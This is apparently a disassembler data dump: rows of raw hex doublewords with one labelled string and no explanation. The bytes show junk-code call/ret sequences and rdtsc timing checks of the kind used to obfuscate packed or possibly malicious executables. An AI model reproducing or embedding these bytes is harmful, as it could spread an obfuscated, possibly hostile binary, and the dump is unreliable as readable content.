0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0E2C35040h, 0ADF7E0Fh, 0F781C123h, 6B0D5A87h, 14E996h dd 88CC0000h, 0F509CA2h, 0ACD17B7Ch, 4BDDAC07h, 68618B02h dd 0F50F775h, 883h, 8A525000h, 5A310FF9h, 95319658h, 64D2279h dd 0B78DB5FFh, 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0B5D41FC3h, 90142F24h, 4E8h, 1F03FF00h dd 5890F00h, 56000000h, 5BDE8B66h, 138B0F50h, 0E9000000h dd 0Eh, 8AB24763h, 92777E77h, 28E679C7h, 448B9229h, 0B4BF0424h dd 8B084F28h, 0F525000h, 48Eh, 97BB6600h, 0E8310F07h, 0Ah dd 21E4A52Ah, 0C635906Ah, 61602941h, 89585A5Fh, 50042444h dd 8B665250h, 8A310FD8h, 5B585AFCh, 52006A58h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 0DE69B4A8h dd 431D261Bh, 0B795858Dh, 50900650h, 8B525052h, 5A310FFBh dd 0BB310F58h, 1F7D488Ah, 0F50585Ah, 89h, 6A9000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 5053E6C3h, 39BF575Ch, 0FFF57A95h, 4D0EB195h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 0DC3E627Ah, 0AAFA18B7h, 666116F3h, 0C7A8C4BBh, 4D02E985h dd 306h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 6E9E8BC1h, 0AE9B2B6h, 9F000000h dd 6E595AF2h, 0FC59783Fh, 0C38166CCh, 0BD831DE1h, 650B795h dd 0F840F00h, 66000000h, 0E97EF2BFh, 21h, 26099D8Bh, 3050064Dh dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h dd 0C3574700h, 0AE95162h, 20000000h, 0AF54332Dh, 9911BB35h dd 0D9B70F8Ch, 2820Fh, 0D98B0000h, 2E9BD83h, 0F03064Dh dd 42185h, 0DE8B6600h, 0B795BD83h, 0F000650h, 41184h, 39CF8000h dd 0FFDEBF0Fh, 50B795B5h, 658D8906h, 0FF064D24h, 4D2D9995h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 0B58BABC6h, 650B789h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0FBC35545h, 0C37D23A6h, 9DBD8B5Ch dd 0C7064D11h, 1000106h, 66576000h, 5A4F9CB8h, 0F1BF9661h dd 50638A2Bh, 840F5250h, 2, 310F5F57h, 0CFBF5250h dd 0F0A0781h, 1D37BB31h, 585A1C36h, 5696585Ah, 14E9h, 9948D100h dd 5778ADC5h, 0A032C32Bh, 6FD42942h, 27525CDDh, 0B5FF5F37h dd 650B795h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 13C35040h, 48DA32CDh, 13CDBD8Bh, 850F064Dh, 3 dd 0FFDAB70Fh, 4D308D95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 8720FFE0h dd 83B6114Eh, 2D558501h, 0B58B064Dh, 650B789h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 93C35242h, 35BD8B28h dd 8B064D00h, 4D238585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 18B2BDF1h, 0C48689EFh dd 0E8000000h, 14h, 795536C8h, 2D4971C4h, 0AD0342C2h, 0D7D57516h dd 5E5E00CCh, 5BF8BF0Fh, 599958Bh, 0CE9064Dh, 80000000h dd 6E1AD672h, 9DA7717Ah, 838CE7ABh, 9D8B04C2h, 64D2A35h dd 66205089h, 858DF98Bh, 650CBF0h, 95B58960h, 8B064D0Fh dd 868961DFh, 0B8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 35C35545h, 3840F95h, 66000000h, 9D8BF98Bh dd 64D29E5h, 0B5FF006Ah, 650B795h, 29659D8Bh, 95FF064Dh dd 64D2431h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 18h, 75C35343h, 0E24CE03h, 67BB5096h, 5F031401h, 38F0F50h dd 66000000h, 0F596F98Bh, 0B795B5FFh, 95FF0650h, 64D2CC1h dd 0A5BD83F8h, 64D32h, 88840Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0FA0F3EC3h dd 494DCBD7h, 0AE9B1h, 0A21C0000h, 730097A8h, 7783EDB6h dd 0DE950F9h, 0A2000000h, 77CA353Ch, 34841F3Eh, 0DB87A39Ah dd 6A243489h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 17042444h, 45000000h, 2544C355h, 10E862ECh, 0E1000000h dd 213A2FEAh, 426043E0h, 79F2CC69h, 0FCE099Bh, 481h, 9FBB6600h dd 0B5FF5FE9h, 650B795h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 57C35747h, 981DEDC0h, 0DE2EDE72h, 31DF81B2h dd 0FF4D1A9Fh, 4D17C595h, 0F1BD8B06h, 0FF064D06h, 50B795B5h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 0BA0D85C8h, 0FF4D92F5h, 4D29B995h, 890F6006h dd 3, 89FFBF0Fh, 4D06CD9Dh, 0BD836106h, 64D1505h, 81840F02h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 131FC352h, 858BB8C2h, 64D15A9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B6C35747h dd 1E11E6A0h, 0C67546h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 0E6A1A659h, 3FDE800h dd 4D23419Dh, 0AE906h, 10B20000h, 789A837Ah, 0F5DA116Ah dd 211185C7h, 64Dh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 0CFCE9CC3h, 41B74BD0h dd 43E9DF8Bh, 31FFFFF3h, 4D1EB985h, 6AC18B06h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0DA44C353h, 67D1842Ah, 8B7E5715h, 4D273DBDh, 87BB6606h dd 8E9C7h, 39B70000h, 48A7B6DDh, 858D2E1Fh, 64D0735h, 890Fh dd 8A500000h, 240489FCh, 6A006Ah, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 0E8BD77C3h, 20C72390h dd 66AE60FFh, 0DD39F381h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0CADA64C3h, 298A0Fh dd 0E8600000h, 0Ah, 52E271CFh, 87417C7Dh, 0E85B1159h, 11h dd 0F93C4667h, 0BA0E072Eh, 3EB4B7E8h, 52D0003Eh, 0F615FB3h dd 858DDFB7h, 6515498h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 13C35545h, 0E5EAF73Fh, 14E82ECCh, 80000000h dd 4BDC922Ah, 78F75D43h, 0D1CC3621h, 0ABCA311Fh, 8905B85Ah dd 4D27599Dh, 0C0835B06h, 8E99005h, 1C000000h, 0EAAD8F50h dd 50203243h, 7711BF66h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 47D2C6A4h, 6ADDCBh, 6ADA8B66h dd 95FFF500h, 64D1149h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Dh, 12C35343h, 46606776h, 565107D7h, 8B6660A8h dd 8E0FDEh, 61000000h, 17DD8D09h, 8D8D064Dh, 6509A13h dd 0D2C38166h, 6AD1FF6Dh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 38C9C357h, 0BB579FD8h dd 27FEAE0Ah, 81BD835Fh, 1064D12h, 0BC850Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 7E623AC3h, 9F5F17B4h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0E890C1C3h, 11h, 58B89790h dd 4A37556Ch, 0BC858123h, 0D0E5C691h, 5FF88B81h, 60525050h dd 8D0Fh, 0F610000h, 6ABB6631h, 90585AC4h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0D9C35646h, 0FC98A706h dd 0FB99531h, 95FF064Dh, 64D2431h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0E0C35343h, 0D6795746h, 23E96117h dd 0E800000Eh, 0 dd 0A2ED815Dh, 66065154h, 8820EF81h, 6800Fh, 0B5890000h dd 64D00B5h, 8A57858Dh, 0EE90650h, 9F000000h, 0F89FEBC6h dd 6BDB0B6Bh, 3175AA4Ch, 61E78040h, 0AE85790h, 0EF000000h dd 0B75FFFE5h, 8F15EFA5h, 13E898h, 46640000h, 586EA8E3h dd 5CA94B52h, 0BAF30E7Eh, 4CC0709Bh, 5B5B5F69h, 0AFE7BB50h dd 6A904F4Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 492BC352h, 35FF64h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0B38EC357h, 5E0C38DDh, 88BB6632h, 258964B6h dd 0 dd 181585FFh, 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 150424h, 52420000h, 8BA7F4C3h, 4D2EA59Dh, 6AFF6A06h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 29A4C356h, 6BC3B2F6h, 0AE934h, 27E00000h dd 38E79715h, 0BDE33156h, 1FE5B5FFh, 8B0F064Dh, 6, 30E5BD2Bh dd 95FF064Dh, 64D0411h, 146E9h, 1810F00h, 0F9000000h, 9D8B00B0h dd 64D21EDh, 39BB70E6h, 0E41431DDh, 95BD2371h, 9064D22h dd 4D0D6D8Dh, 0F613C06h, 11A83h, 0C8B60F00h, 32898D89h dd 0AE9064Dh, 69000000h, 8C4520CDh, 566057E7h, 6BA29h dd 8D290000h, 64D0EB9h, 29BD89h, 0C18B064Dh, 1EE99D01h dd 0E8C1064Dh, 6517BF04h, 0F7665384h, 12E8E2h, 0D0990000h dd 0CDCDC4D5h, 0EB2C2E3Ch, 1778EDFDh, 3902E183h, 5BD98B66h dd 7E8C82Bh, 98000000h, 581E8B41h, 5FF94CA2h, 9D09D18Bh dd 64D2C7Dh, 0CE9h, 0C59D8900h, 29064D15h, 4D282D9Dh, 29858B06h dd 8B064D0Fh, 4D3031BDh, 7C08306h, 31AD9D89h, 0C083064Dh dd 0CE86000h, 0EE000000h, 9E33EF33h, 1DAE6E06h, 817BC45Bh dd 4398F1E7h, 8E85E77h, 46000000h, 0B4195B80h, 94621E8h dd 4D1EC195h, 3B615B06h, 1C830FD0h, 8B000000h, 4D25BDBDh dd 41E906h, 0CE90000h, 96000000h, 0C549D92Dh, 5632F19Dh dd 8BE4A40Bh, 4D27358Dh, 1E18306h, 21840Fh, 85890000h dd 64D036Dh, 2735A583h, 8BFE064Dh, 4D2DA19Dh, 29958906h dd 0F064D0Fh, 0E9F8BFh, 8D000000h, 50E7B3B5h, 0CB816606h dd 6AEFDAh, 14E9h, 0AB46DC00h, 0D9A98E76h, 0A5F55F4Dh dd 595E95A5h, 9ACE812Ah, 1195FFE5h, 6A064D05h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h dd 436BC356h, 0B9FCDCBDh, 0A09h, 0E7AC06BBh, 0FCE18346h dd 1BC19D23h, 6AFC064Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0DD59C355h, 5358A516h dd 0B878C2h, 56000000h, 2DB58531h, 0BA5F064Dh, 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F7C35242h dd 0C233AD8Ch, 0D003E8D1h, 7504E983h, 50006AF4h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 0EE93Eh, 0FE1E0000h, 1FF03E2Eh, 5B631D06h, 62E66392h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0C1C35242h dd 9248442Ch, 75257F22h, 1F259D8Bh, 880D064Dh, 29000000h dd 4D041DB5h, 99958B06h, 6A064D05h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0A60DC351h dd 0C858949Dh, 51D8D8Bh, 6A064Dh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0B1AF10C3h, 1D8509ABh dd 57064D30h, 23259589h, 895F064Dh, 4D15F1BDh, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 950AC352h, 0BE9h, 6FA53700h, 8E32D924h, 0A217C12Dh dd 45BD83FCh, 64D1Ch, 0A3840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 150424h, 52420000h, 0F8D15C3h dd 8D89FBBFh, 64D2E65h, 0B8h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0E040D678h dd 56D165A8h, 8BDE8B28h, 4D11C5BDh, 9E906h, 0D8620000h dd 9FE5CF89h, 8DEF0432h, 4D4DE58Dh, 68A0F06h, 8B000000h dd 4D1155BDh, 89BF6606h, 6AE1FFB9h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0F001C357h dd 34A0078h, 4D25ED9Dh, 0E9BD8306h, 64D02h, 423840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h dd 833E7FC3h, 4D02E9BDh, 840F0106h, 414h, 18C0Fh, 83FC0000h dd 4D02E9BDh, 860F0306h, 3CAh, 739DCFBBh, 89606023h, 4D200995h dd 61FE8B06h, 52D98C66h, 237DBD8Bh, 0F95B064Dh, 2304E180h dd 4D0C19BDh, 0FC90A06h, 15284h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0A36F3A25h dd 0B822F5CAh, 0B1BD89BDh, 8B064D23h, 4D187985h, 33F98B06h dd 4D063985h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1B04h, 0C3554500h, 24211671h, 0E6B70A9Bh, 38C0F50h dd 66000000h, 489F98Bh, 9D9D8B24h, 6A064D06h, 0F98B6600h dd 4E8h, 1F03FF00h, 50DA8B00h, 448BDE8Bh, 0E8600424h, 10h dd 0FD68B939h, 7C2F3CDCh, 0B136FC1Bh, 53A5338Ch, 9E9h dd 0A3599900h, 4CBEE58Ch, 6159698Fh, 0A7B7008Bh, 4244489h dd 0D3BF6651h, 6A585F49h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 254FC357h, 1C519589h dd 840F064Dh, 0Ch, 6800Fh, 880F0000h, 0 dd 0EB195FFh, 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 160424h, 55450000h, 79E1E8C3h, 0E5B58B60h, 8B064D2Ah dd 4D1641BDh, 85896106h, 650B795h, 157DBD8Bh, 6E9064Dh dd 6A000002h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0C21C351h, 8B3FA171h, 50B78D85h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 0A1D2101Ah, 89B5895Ah, 0C7064D25h, 1800h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 1D651C46h, 5A168880h, 9D8BE0C5h, 64D0601h dd 0B791B58Bh, 870F0650h, 6, 2B199D0Bh, 858B064Dh, 64D32E5h dd 9E9h, 2CC30D00h, 7369D3AEh, 689EF49h, 25A5BD01h, 858B064Dh dd 64D1879h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 32C35141h, 4468974h, 8C0Fh, 9D0B0000h, 64D0B61h dd 89A6B750h, 6A2434h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 160424h, 57470000h, 73A8DC3h, 38C0Fh, 0EB800000h, 8DB5FF8Bh dd 6A0650B7h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 891DC351h, 0E2E4E5Ah, 2C246823h dd 3481404Ah, 552FDB24h, 51006A40h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1D04h, 0C3514100h, 420D9DE9h, 22275794h dd 10E93C02h, 47000000h, 113B49Ah, 466A47CBh, 0DC096919h dd 8DC9D288h, 50B79585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1604h, 0C3574700h, 6004A58Ah, 0FAEE681h dd 0AE971D4h, 0AB000000h, 5436B94Fh, 0D22A40C0h, 0E8906123h dd 0Fh, 2083480Bh, 928469Bh, 3877F4ADh, 56797F46h, 5F5F5B51h dd 0B686BB50h, 0FF901469h, 4D0EB195h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 986D7434h, 0D1A80CA2h, 2810FC3h, 8B000000h, 85C761DAh dd 64D02E9h, 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 15h, 61C35646h, 858960F2h, 64D159Dh, 61BAEC80h, 2F859D8Bh dd 0BD83064Dh, 650B795h, 1F840F00h, 0E9000000h, 0Fh, 0AC54B2A1h dd 82D82538h, 1F581198h, 0E9D2773Eh, 21h, 1B5D8D29h, 3050064Dh dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 7D9D8BC0h, 81064D26h, 133A74E7h, 0E9BD834Ah, 3064D02h dd 461850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 134694C3h, 832B0B9Bh, 50B795BDh dd 840F0006h, 433h, 0B5FFDA8Bh, 650B795h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 14h, 36C35040h, 1BD19D8Bh dd 95FF064Dh, 64D2D99h, 1ACDB589h, 0B58B064Dh, 650B789h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 12C35242h dd 0ED373EDFh, 589B529h, 8166064Dh, 0C73642EFh, 1000106h dd 0F6806000h, 0F9BD8921h, 61064D2Dh, 8E850h, 790F0000h dd 0E6D1555Eh, 0BB669A30h, 895BBD01h, 0DE92434h, 74000000h dd 0F89A0361h, 0D1BF7F5Ch, 80B0EA28h, 7D853157h, 5B064D0Fh dd 0B795B5FFh, 6A0650h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 190424h, 51410000h, 2E8690C3h, 0FF448696h, 4D308D95h dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 17D2F689h, 39548BDh, 8D89D8AEh, 64D10C9h dd 0B789B58Bh, 6A0650h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 8EE952C3h, 167CBCDAh, 0A232C781h dd 858B2D8Fh, 64D2385h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 3BC35343h, 0C486894Ah, 6A000000h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 82B8C352h, 0C019D2Bh, 0BD8B064Dh, 64D2605h, 65C28160h dd 0E95BC3E4h, 9, 0A0F5C00Fh, 5BD1102Fh, 958B61D8h, 64D0599h dd 0AE9h, 54BD0B00h, 3B2DF8C1h, 832E4A38h, 6A04C2h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 0E276E7C3h, 0DCA3E9F1h, 4149BBEAh, 508925ADh, 56006A20h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 9904D410h, 45BD8BF9h, 8D064D2Ah, 50CBF085h, 0E9BD8906h dd 89064D2Fh, 0B886h, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1404h db 0, 41h aQTj db 'QÃâj',0 ; DATA XREF: ___:00436834o db 66h dd 0FFB0AABFh, 50B795B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 3195FFF1h dd 66064D24h, 0E0BCDF81h, 2A41BD8Bh, 8950064Dh, 0F602434h dd 0F57DEB7h, 8Eh, 0FF615800h, 50B795B5h, 51006A06h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 8CFD1850h, 2CC195FFh, 6A064Dh, 3E850h, 58200000h, 448958C3h dd 44810424h, 150424h, 50400000h, 839D16C3h, 4D32A5BDh dd 840F0006h, 66h, 0BD8B6060h, 64D2CB9h, 61B4B161h, 0BB2BE781h dd 505056E6h, 67BF5652h, 5F4DE137h, 5250310Fh, 890Fh, 310F0000h dd 585A585Ah, 6A243489h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 709CC353h, 28681EDBh dd 298BDB6Bh, 4D332D85h, 85296006h, 64D229Dh, 54A0D9BEh dd 0B5FF6172h, 650B795h, 17C595FFh, 850F064Dh, 6, 2D01B501h dd 0B5FF064Dh, 650B795h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 33C35242h, 0EAEE2C03h, 8D292086h, 64D142Dh dd 0FFFEB70Fh, 4D29B995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0A87921C5h dd 0ED976B14h, 1505BD83h, 0F02064Dh, 4784h, 0C840F00h dd 0F000000h, 68Fh, 0D1BD0300h, 8B064D2Eh, 4D15A985h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 78727A29h, 4CBB6692h, 0C6BEh, 9D2BD88Ah, 64D2DB1h, 211185C7h dd 64Dh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 47C36EC3h, 0E9C11ED2h, 0Bh, 0FE3CFD08h dd 5EDA20BCh, 0E9C1CD70h, 0FFFFF311h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 14h, 57C35040h, 3095B589h, 0C18B064Dh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D8C35141h dd 432A13E7h, 860776F2h, 0D1D9D8Bh, 858D064Dh, 64D0735h dd 0D0D8589h, 0AE8064Dh, 43000000h, 0DB188EF7h, 4AFF6AE6h dd 0FB8B66FBh, 8B66505Fh, 240489F8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Bh, 3AC35242h, 6043E021h, 51CC6942h dd 6A5BF5h, 26859D09h, 6A064Dh, 5C1BD8Bh, 858D064Dh, 65164C0h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0E7C35141h dd 8AE3083Ch, 831C5F9Eh, 6A05C0h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 5CEB2C3h, 663BC382h dd 66748D84h, 599BDF81h, 8946B350h, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 312E3BC3h dd 41BD29ABh, 6A064D31h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1504h, 0C3564600h, 816660CCh, 6A58E0DBh dd 0B8E0F00h, 0E9000000h, 6, 0A34F42Ch, 0DF811AEAh, 1FE15BA4h dd 114995FFh, 6A064Dh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 0F9BAB9C3h, 138D8DCCh, 6A06509Ah dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 1D29C351h, 859ED0FCh, 0A6BF5E03h, 0EE9h dd 0FD0DC600h, 4F2D44AFh, 0BCC2AF0Bh, 0FFFA7384h, 4BD380D1h dd 28B0Fh, 0D98B0000h, 1281BD83h, 0F01064Dh, 6985h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 756C787Ch, 59F9A1E3h, 0A59D3143h, 31064D2Eh, 4D179D8Dh dd 8B026A06h, 4D05A99Dh, 0B6B35006h, 6A240489h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 4588C353h, 95FF1764h, 64D2431h, 2BE1B589h, 0C1E9064Dh dd 0E800000Eh, 0 dd 0CAED815Dh, 6A065164h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 0AC17C357h, 0A607B0Dh dd 2CCD9D8Bh, 0B70F064Dh, 53006AF8h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 7E4054B6h dd 8D389C0Ah, 508A5785h, 2880F06h, 8A000000h, 0CFB350FAh dd 0F240489h, 181h, 0FF64FC00h, 35h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 258964DEh dd 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 83C35040h dd 271DE2AAh, 0FB8BB788h, 181585FFh, 12E8064Dh, 6E000000h dd 0C4D450BBh, 0B0BF1862h, 0F496DC0Fh, 4978CF66h, 0D9958936h dd 5B064D0Fh, 6AFF6Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 977B4AC3h, 93DF80FDh, 25F9B5FFh dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0CE96FC3h, 0A4000000h, 0B5A585F0h, 0F94B028Bh dd 897EED53h, 4D24059Dh, 1195FF06h, 0E9064D04h, 184h, 2DAD8D31h dd 0B0064Dh, 0BE8h, 24832C00h, 1D9DF9EDh, 8DCD04C8h, 0E65FFB8Bh dd 13E970h, 69030000h, 0CAE63B43h, 0DF06C15Ah, 21DA2582h dd 2C2FEC80h, 0E871E47Ah, 0Ah, 5185D46Fh, 152109C4h, 0EE89CE1h dd 15000000h, 9160C899h, 2F00BA2h, 4E799FF2h, 0DE8D3h dd 32400000h, 0AC087F8Fh, 0CEDE920Ch, 5BF1FA59h, 613C5B5Bh dd 10E830Fh, 9D8B0000h, 64D1C5Dh, 0E9C8B60Fh, 14h, 386A9907h dd 52A4A9C3h, 0B8B7C3Fh, 67489FBBh, 48D63052h, 6BAh, 9E800h dd 39A30000h, 739AA471h, 5B9393B0h, 0E8C1C18Bh, 11E904h dd 0E98F0000h, 79867521h, 434C3257h, 0E60D79ACh, 0B37E68E4h dd 0E2F76609h, 0CFDF8166h, 0E9C82BE8h, 5, 34743D1Dh, 0F5D18B8Ah dd 6E9h, 0BD9D8B00h, 8B064D2Dh, 4D318585h, 0CE906h, 0C0A90000h dd 0CBC26C0Fh, 0F092B60Eh, 0C083FC63h, 9EBF6607h, 0C0830Ah dd 5860Fh, 81660000h, 3BEBF3EBh, 16830FD0h, 0BB000000h dd 5FFC4BC9h, 5BE9h, 699D8B00h, 31064D07h, 4D1FBD85h, 0E98D8B06h dd 51064D2Dh, 8F0F60h, 0B1000000h, 835F6182h, 840F01E1h dd 34h, 550DBB66h, 2DE9A583h, 66FE064Dh, 638CC381h, 31859589h dd 8E0F064Dh, 13h, 0CE8h, 5203D900h, 83039834h, 78BB96ADh dd 0E95BFC25h, 0 dd 0F416B58Dh, 0F98B0650h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0A20158C3h dd 0B021EA1Bh, 0E9FFB531h, 6, 25ADE0EBh, 95FFCEFBh, 64D0511h dd 10D18D29h, 3BB9064Dh, 6A000007h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0D55C353h dd 3E61C90Ah, 79BD8941h, 66064D22h, 0E183FE8Bh, 55006AFCh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 19ADCCD2h, 0B21E706h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 419D8B18h, 2B064D2Fh dd 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h dd 0C3534300h, 750A2184h, 850BFD91h, 9CBF662Eh, 5D8589D8h dd 2B064D31h, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 0C96F809Ah, 343A48DCh, 840FF9B7h dd 4, 0A0DABF66h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 89FEBF0Fh dd 